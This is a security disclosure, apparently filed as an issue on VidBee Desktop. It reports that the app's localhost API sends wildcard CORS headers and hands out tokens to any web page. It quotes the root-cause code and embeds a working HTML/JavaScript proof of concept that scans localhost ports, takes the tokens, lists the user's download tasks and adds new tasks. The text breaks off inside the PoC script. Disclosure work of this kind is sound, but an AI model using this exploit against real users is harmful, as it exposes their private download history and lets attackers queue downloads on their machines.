[vulnerability]: unauthenticated interface leat to sensitve information leak
Hello,developer, we audit your awesome project and found a vulnerabilities that the any origin website can read the user download task details ,this is sensitive privacy leakage. This vulner ability is found by song@jhu
1. Vulnerability Description
VidBee Desktop starts a local HTTP service on the loopback address 127.0.0.1. The service attempts to bind to ports 27100-27120 and exposes local endpoints such as /status, /token, /video-info, /automation/v1/handshake, /automation/v1/stats, /automation/v1/list, and /automation/v1/add.
The current local service returns Access-Control-Allow-Origin: * for responses and preflight handling. The /token endpoint and /automation/v1/handshake endpoint also issue tokens that are used by follow-up local API calls. As a result, any browser page that can reach the user's localhost ports can use CORS fetch to read local service responses and then continue calling automation-related endpoints after obtaining the required token, such as read the download task details including the download url ,title or add the malicious download task on the task list.
The affected behavior includes:
- Any web Origin can read CORS-enabled responses from the Desktop local service.
- A page can scan candidate localhost ports and identify the Desktop local service.
- A page can read
/tokenand use that token to call/video-info. - A page can call
/automation/v1/handshaketo obtain an automation bearer token and then access bearer-protected automation endpoints. - A malicious page can read the user task list and add the download task on user machine. Which are sensitve operations
2. Vulnerability Principle
The browser same-origin policy normally blocks a page from reading cross-origin responses. However, if the server returns permissive CORS headers, the browser allows page JavaScript to read the response body.
The issue follows this chain:
- A web page or local test page runs under an arbitrary Origin.
- The page sends JavaScript requests to
http://127.0.0.1:27100-27120. - The Desktop local service checks only whether the TCP peer address is loopback; browser requests to localhost satisfy that check.
- The Desktop local service returns
Access-Control-Allow-Origin: *for JSON responses and OPTIONS preflight responses. - The browser accepts the CORS response and exposes
/status,/token,/automation/v1/handshake, and related response bodies to page JavaScript. - After the page reads a token, it can call endpoints that depend on that token or bearer value.
Binding to loopback limits network reachability, but it does not distinguish between trusted desktop components and arbitrary browser pages running on the same machine. When wildcard CORS and token-issuing endpoints are combined on the loopback service, localhost becomes a cross-origin readable API for browser JavaScript.
3. Vulnerability Root-Cause Code
3.1 All JSON responses allow any Origin
In apps/desktop/src/main/local-api.ts, writeJson and writeEmpty set Access-Control-Allow-Origin: '*' for normal JSON responses and OPTIONS preflight responses. They also allow the Authorization request header. This combination lets browser pages pass preflight and read JSON responses.
0056: const writeJson = (res: http.ServerResponse, status: number, body: unknown): void => {
0057: res.writeHead(status, {
0058: 'Content-Type': 'application/json; charset=utf-8',
0059: 'Access-Control-Allow-Origin': '*',
0060: 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
0061: 'Access-Control-Allow-Headers': 'Content-Type, Authorization'
0062: })
0063: res.end(JSON.stringify(body))
0064: }
0065:
0066: const writeEmpty = (res: http.ServerResponse, status: number): void => {
0067: res.writeHead(status, {
0068: 'Access-Control-Allow-Origin': '*',
0069: 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
0070: 'Access-Control-Allow-Headers': 'Content-Type, Authorization'
0071: })
0072: res.end()
0073: }
0074: 3.2 The loopback check validates the TCP source, not the browser Origin
The local service accepts loopback connections. When a browser page requests 127.0.0.1, the server still sees a loopback remoteAddress, so the check passes. The code does not add a stricter Origin allowlist, Sec-Fetch-Site validation, local shared secret, or user-confirmed session state.
0049: const isLoopbackAddress = (address?: string | null): boolean => {
0050: if (!address) {
0051: return false
0052: }
0053: return address === '127.0.0.1' || address === '::1' || address === '::ffff:127.0.0.1'
0054: }
0055: The top-level request guard is shown below:
0444: if (!isLoopbackAddress(req.socket.remoteAddress)) {
0445: writeJson(res, 403, { error: 'Forbidden' })
0446: return
0447: }
0448:
0449: if (req.method === 'OPTIONS') {
0450: writeEmpty(res, 204)
0451: return
0452: }
0453:
0454: if (!req.url) {
0455: writeJson(res, 400, { error: 'Missing URL' })
0456: return
0457: }
0458: 3.3 /token can be read cross-origin and used for /video-info
/token is a GET endpoint that issues an extension token. Because the response is written through writeJson, a browser page can read the token when wildcard CORS is present and then pass it to /video-info?token=....
0472: if (pathname === '/token') {
0473: const token = issueExtensionToken()
0474: writeJson(res, 200, { token, expiresInMs: EXTENSION_TOKEN_TTL_MS })
0475: return
0476: }
0477:
0478: if (pathname === '/video-info') {
0479: const token = requestUrl.searchParams.get('token')
0480: if (!consumeExtensionToken(token)) {
0481: writeJson(res, 401, { error: 'Invalid token' })
0482: return
0483: }
0484:
0485: const targetUrl = requestUrl.searchParams.get('url')
0486: if (!targetUrl?.trim()) {
0487: writeJson(res, 400, { error: 'Missing url' })
0488: return
0489: }
0490:
0491: try {
0492: const info = await downloadEngine.getVideoInfo(targetUrl.trim())
0493: writeJson(res, 200, {
0494: title: info.title,
0495: thumbnail: info.thumbnail,
0496: duration: info.duration,
0497: formats: info.formats ?? []
0498: })
0499: } catch (error) {
0500: const message = error instanceof Error ? error.message : 'Failed to fetch video info'
0501: const details =
0502: error instanceof Error
0503: ? error.stack
0504: : typeof error === 'object' && error && 'stderr' in error
0505: ? String((error as { stderr?: unknown }).stderr ?? '')
0506: : undefined
0507: writeJson(res, 500, { error: message, details })
0508: }
0509: return
0510: }
0511: 3.4 The automation handshake issues a bearer token
/automation/v1/handshake accepts a POST body, calls rotateAutomationToken(), and returns the bearer token. This response is also returned through writeJson, so it becomes readable to page JavaScript when CORS is permissive.
0235: if (pathname === `${AUTOMATION_PREFIX}/handshake`) {
0236: if (req.method !== 'POST') {
0237: return writeJson(res, 405, { error: 'Method not allowed' })
0238: }
0239: // PID identity verification (per design §5.3) is best-effort here; the
0240: // request is already loopback-only via the outer guard.
0241: try {
0242: await readJsonBody(req)
0243: } catch (err) {
0244: const message = err instanceof Error ? err.message : 'Invalid request body'
0245: return writeJson(res, 400, { error: message })
0246: }
0247: const { token, expiresAt } = rotateAutomationToken()
0248: return writeJson(res, 200, {
0249: token,
0250: expiresAt,
0251: ttlMs: AUTOMATION_TOKEN_TTL_MS,
0252: schemaVersion: AUTOMATION_SCHEMA_VERSION
0253: })
0254: }
0255: 3.5 Bearer validation exists, but the same page can obtain the bearer first
Follow-up automation endpoints validate Authorization: Bearer <token>. The problem is not the string comparison itself; the problem is that the handshake endpoint can expose the bearer to the same cross-origin page before those protected calls are made.
0117: const validateAutomationBearer = (req: http.IncomingMessage): boolean => {
0118: if (!(automationToken && automationTokenRecord)) {
0119: return false
0120: }
0121: if (Date.now() > automationTokenRecord.expiresAt) {
0122: return false
0123: }
0124: const auth = req.headers.authorization?.trim()
0125: if (!auth?.toLowerCase().startsWith('bearer ')) {
0126: return false
0127: }
0128: return auth.slice('bearer '.length).trim() === automationToken
0129: }
0130: Example protected automation entry points:
0283: // taskQueueContract methods (POST /automation/v1/{add|get|list|cancel|...}).
0284: if (req.method === 'GET' && pathname === `${AUTOMATION_PREFIX}/stats`) {
0285: if (!validateAutomationBearer(req)) {
0286: return writeJson(res, 401, { error: 'Unauthorized' })
0287: }
0288: return writeJson(res, 200, getDesktopTaskQueue().stats())
0289: }
0290:
0291: if (req.method !== 'POST') {
0292: return writeJson(res, 404, { error: 'Not found' })
0293: }
0294: if (!validateAutomationBearer(req)) {
0295: return writeJson(res, 401, { error: 'Unauthorized' })
0296: }
0297: 4. Vulnerability PoC
The English PoC is embedded below. Save the block as an HTML file and open it locally in a browser to run the automatic port scan and Desktop local CORS readable checks.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>VidBee Desktop local CORS PoC</title>
<style>
:root { color-scheme: light dark; font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif; }
body { margin: 24px; line-height: 1.45; }
.grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 16px; }
section { border: 1px solid #8886; border-radius: 12px; padding: 16px; }
label { display: block; margin: 8px 0 4px; font-weight: 600; }
input, textarea, button, select { font: inherit; }
input, textarea { width: 100%; box-sizing: border-box; padding: 8px; border: 1px solid #8886; border-radius: 8px; }
textarea { min-height: 84px; }
button { margin: 6px 6px 6px 0; padding: 8px 12px; border: 1px solid #8886; border-radius: 8px; cursor: pointer; }
button.primary { font-weight: 700; }
button.danger { border-color: #d33; color: #d33; }
pre { white-space: pre-wrap; overflow-wrap: anywhere; background: #8882; padding: 12px; border-radius: 10px; max-height: 55vh; overflow: auto; }
.note { color: #666; font-size: 0.95em; }
.ok { color: #16833a; }
.bad { color: #c22; }
</style>
</head>
<body>
<h1>VidBee Desktop local CORS PoC</h1>
<p class="note">
This English version keeps the automatic port scan and <code>Desktop local: CORS readable</code> functionality from the previous PoC. The Desktop local service comes from <code>apps/desktop/src/main/local-api.ts</code>, listens on <code>127.0.0.1:27100-27120</code>, and exposes <code>/status</code>, <code>/token</code>, <code>/video-info</code>, and <code>/automation/v1/*</code>.
Readable requests use CORS fetch; the page can read a response only when the target service returns CORS headers that allow the current Origin.
</p>
<div class="grid">
<section>
<h2>Target</h2>
<label for="apiBase">API Base</label>
<input id="apiBase" value="http://127.0.0.1:3100" />
<label for="desktopPorts">Desktop local ports</label>
<input id="desktopPorts" value="27100-27120" />
<label for="scanHost">Auto scan host</label>
<input id="scanHost" value="127.0.0.1" />
<label for="scanPorts">Auto scan ports</label>
<input id="scanPorts" value="3000,3100,5173,4173,27100-27120" />
<label for="scanTimeout">Per-port timeout in ms</label>
<input id="scanTimeout" value="900" />
<label for="probeUrl">Test URL</label>
<input id="probeUrl" value="https://www.youtube.com/watch?v=9P93YsSE0cM" />
</section>
<section>
<h2>Automatic Port Scan</h2>
<button class="primary" onclick="autoScanPorts()">Auto scan ports</button>
<button onclick="sourceAwareDiagnose()">Source-aware diagnosis</button>
<button onclick="autoScanAndDiagnose()">Scan and diagnose</button>
<button onclick="stopAutoScan()">Stop scan</button>
<p>Port hits: <code id="scanHits">none</code></p>
<p>Source status: <code id="sourceStatus">not diagnosed</code></p>
<p class="note">The scan first uses <code>fetch(mode: 'no-cors')</code> to check whether a port accepts HTTP requests; this step does not read the response. If the target has permissive CORS, the page then reads <code>/health</code>, <code>/status</code>, and <code>/openapi.json</code> to classify API/Desktop services.</p>
</section>
<section>
<h2>Desktop local: CORS readable</h2>
<button class="primary" onclick="desktopScanReadable()">Scan readable /status</button>
<button onclick="desktopTokenVideoInfo()">Read /token then call /video-info</button>
<button onclick="desktopAutomationHandshake()">Read automation handshake token</button>
<button onclick="desktopAutomationStats()">Bearer call stats</button>
<button onclick="desktopAutomationList()">Bearer call list</button>
<button onclick="desktopAutomationAdd()">Bearer add task</button>
</section>
<section>
<h2>Status</h2>
<p>Desktop base: <code id="desktopBase">not found</code></p>
<p>Extension token: <code id="extensionToken">empty</code></p>
<p>Automation bearer: <code id="automationToken">empty</code></p>
<button onclick="clearLog()">Clear log</button>
<button class="primary" onclick="runQuickDiagnostics()">Quick diagnosis</button>
</section>
</div>
<h2>Log</h2>
<pre id="log"></pre>
<script>
let foundDesktopBase = '';
let extensionToken = '';
let automationToken = '';
let scanAbortController = null;
let scanHits = [];
const $ = (id) => document.getElementById(id);
const v = (id) => $(id).value.trim();
const api = (path) => `${v('apiBase').replace(/\/+$/, '')}${path}`;
const now = () => new Date().toISOString().replace('T', ' ').replace('Z', '');
const log = (message, data) => {
const suffix = data === undefined ? '' : `\n${typeof data === 'string' ? data : JSON.stringify(data, null, 2)}`;
$('log').textContent += `[${now()}] ${message}${suffix}\n\n`;
$('log').scrollTop = $('log').scrollHeight;
};
const clearLog = () => { $('log').textContent = ''; };
const setDesktopBase = (base) => { foundDesktopBase = base; $('desktopBase').textContent = base || 'not found'; };
const setExtensionToken = (token) => { extensionToken = token || ''; $('extensionToken').textContent = token ? `${token.slice(0, 8)}...` : 'empty'; };
const setAutomationToken = (token) => { automationToken = token || ''; $('automationToken').textContent = token ? `${token.slice(0, 8)}...` : 'empty'; };
const setScanHits = (hits) => { scanHits = hits; $('scanHits').textContent = hits.length ? hits.map((h) => `${h.port}:${h.kind}`).join(', ') : 'none'; };
const setSourceStatus = (text) => { $('sourceStatus').textContent = text; };
const parsePortSpec = (raw) => {
const ports = [];
for (const part of raw.split(',')) {
const token = part.trim();
if (!token) continue;
const range = token.match(/^(\d+)\s*-\s*(\d+)$/);
if (range) {
const start = Math.max(1, Number(range[1]));
const end = Math.min(65535, Number(range[2]));
const low = Math.min(start, end);
const high = Math.max(start, end);
for (let port = low; port <= high; port += 1) ports.push(port);
continue;
}
const port = Number(token);
if (Number.isInteger(port) && port > 0 && port <= 65535) ports.push(port);
}
return Array.from(new Set(ports));
};
const parsePorts = () => parsePortSpec(v('desktopPorts'));
const corsFetchJson = async (url, init = {}) => {
const response = await fetch(url, {
credentials: 'omit',
...init,
headers: {
...(init.body === undefined ? {} : { 'Content-Type': 'application/json' }),
...(init.headers || {})
}
});
const text = await response.text();
let body = text;
try { body = JSON.parse(text); } catch {}
return { ok: response.ok, status: response.status, headers: Object.fromEntries(response.headers.entries()), body };
};
const fetchWithTimeout = async (url, init = {}, timeoutMs = Number(v('scanTimeout')) || 900) => {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
try {
return await fetch(url, { ...init, signal: controller.signal });
} finally {
clearTimeout(timer);
}
};
const noCorsProbe = async (url, timeoutMs) => {
try {
await fetchWithTimeout(url, { mode: 'no-cors', credentials: 'omit', cache: 'no-store' }, timeoutMs);
return { reachable: true };
} catch (error) {
return { reachable: false, error: String(error) };
}
};
const tryReadableJson = async (url, timeoutMs) => {
try {
const response = await fetchWithTimeout(url, { credentials: 'omit', cache: 'no-store' }, timeoutMs);
const text = await response.text();
let body = text;
try { body = JSON.parse(text); } catch {}
return { readable: true, ok: response.ok, status: response.status, body };
} catch (error) {
return { readable: false, error: String(error) };
}
};
const classifyReadableHit = async (base, timeoutMs) => {
const health = await tryReadableJson(`${base}/health`, timeoutMs);
if (health.readable && health.ok && health.body && health.body.ok === true) {
return { kind: 'api-readable', detail: health };
}
const status = await tryReadableJson(`${base}/status`, timeoutMs);
if (status.readable && status.ok && status.body && status.body.ok === true) {
return { kind: 'desktop-readable', detail: status };
}
const openapi = await tryReadableJson(`${base}/openapi.json`, timeoutMs);
if (openapi.readable && openapi.ok) {
return { kind: 'api-openapi-readable', detail: openapi };
}
if (health.readable) return { kind: 'http-readable', detail: health };
if (status.readable) return { kind: 'http-readable', detail: status };
return { kind: 'http-blind', detail: { health, status } };
};
const scanOnePort = async (host, port, timeoutMs) => {
const base = `http://${host}:${port}`;
const paths = ['/health', '/status', '/'];
for (const path of paths) {
const probe = await noCorsProbe(`${base}${path}?_poc_scan=${Date.now()}`, timeoutMs);
if (!probe.reachable) continue;
const classified = await classifyReadableHit(base, timeoutMs);
return { host, port, base, probePath: path, ...classified };
}
return null;
};
const stopAutoScan = () => {
if (scanAbortController) {
scanAbortController.abort();
scanAbortController = null;
log('Port scan stop signal sent');
}
};
const autoScanPorts = async () => {
stopAutoScan();
scanAbortController = new AbortController();
setScanHits([]);
const hoSource: nexmoe/VidBee